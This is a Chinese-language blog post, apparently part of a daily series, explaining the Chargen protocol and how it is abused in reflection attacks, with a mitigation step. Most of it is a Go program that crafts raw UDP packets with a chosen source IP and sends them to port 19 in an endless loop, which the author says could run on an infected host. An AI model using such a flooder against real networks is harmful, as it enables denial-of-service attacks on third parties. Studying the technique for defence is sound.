[Day 20] 閑的沒事 - Chargen反射攻擊

Chargen

字符產生器協定The Character Generator Protocol (Chargen)顧名思義就是會一直發送字元的協定。默認PORT為19/UDP跟19/TCP,初衷是為了測試與診斷網際網路連線,發送方式有TCP跟UDP兩種:

  • TCP連線建立後: 伺服器不斷傳送任意的字元到客戶端,直到客戶端關閉連線。
  • UDP連線建立後: 每當伺服器收到客戶端的一個UDP數據包,這個數據包中的內容將被丟棄,而伺服器將傳送一個數據包到客戶端,其中包含長度為0~512位元組之間隨機值的任意字元。

輸出數據格式

RFC 864沒有規定輸出的具體準確格式。實際操作結果是,輸出每行72個字元,這些字元是ASCII可列印字元,印完了重頭開始繼續。


測試

作業系統:Ubuntu 服務:xinetd 修改:把/etc/xinetd.d/chargen裡面的disable改成no 測試:

1
> telnet -r localhost 19

結果

Code

寫了一個udp範例,模仿chargen服務。只要code不停就不段發送,仿照chargen協議。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package main

import (
	"log"
	"math/rand"
	"net"
	"os"
	"time"

	"github.com/google/gopacket"
	"github.com/google/gopacket/layers"
	"github.com/google/gopacket/pcap"
)

func main() {

	var (
		device      string = "bridge100"
		snapshotLen int32  = 1024
		promiscuous bool   = false
		err         error
		timeout     time.Duration = 10 * time.Second
		handle      *pcap.Handle
		buffer      gopacket.SerializeBuffer
		random      *rand.Rand
	)

	handle, err = pcap.OpenLive(device, snapshotLen, promiscuous, timeout)
	if err != nil {
		log.Fatal(err)
	}
	defer handle.Close()

	random = rand.New(rand.NewSource(time.Now().UnixNano()))
	srcPort := layers.UDPPort(random.Intn(65535))
	dstPort := layers.UDPPort(19)

	ethernetLayer := &layers.Ethernet{
		SrcMAC:       net.HardwareAddr{0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00},
		DstMAC:       net.HardwareAddr{0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00},
		EthernetType: layers.EthernetTypeIPv4,
	}

	ipLayer := &layers.IPv4{
		SrcIP:    net.IP{10, 211, 55, 3},
		DstIP:    net.IP{10, 211, 55, 10},
		Version:  4,
		TTL:      64,
		Protocol: layers.IPProtocolUDP,
	}

	udpLayer := &layers.UDP{
		SrcPort: srcPort,
		DstPort: dstPort,
	}
	udpLayer.SetNetworkLayerForChecksum(ipLayer)

	// Chargen query
	chargenQuery := []byte("!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{|}")

	payload := chargenQuery

	for {
		buffer = gopacket.NewSerializeBuffer()
		opts := gopacket.SerializeOptions{
			FixLengths:       true,
			ComputeChecksums: true,
		}

		if err := gopacket.SerializeLayers(buffer, opts, ethernetLayer, ipLayer, udpLayer, gopacket.Payload(payload)); err != nil {
			log.Fatal(err)
		}
		udpPacket := buffer.Bytes()

		err = handle.WritePacketData(udpPacket)
		if err != nil {
			log.Fatal(err)
			os.Exit(1)
		}
	}
}

反射攻擊

以上code是一段模仿chargen的code,可以放在已被感染的主機上。接下來攻擊者只要發送一段小小的request指引這個被感染的主機不停發送字元。

攔截封包

大概長的會是這樣,因為for迴圈是包在udpLayer後面的,所以所有封包都是同一個port發出來

防護

chargen不是常用協議,被利用的話只要把/etc/xinetd.d/chargendisableyes就好了

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy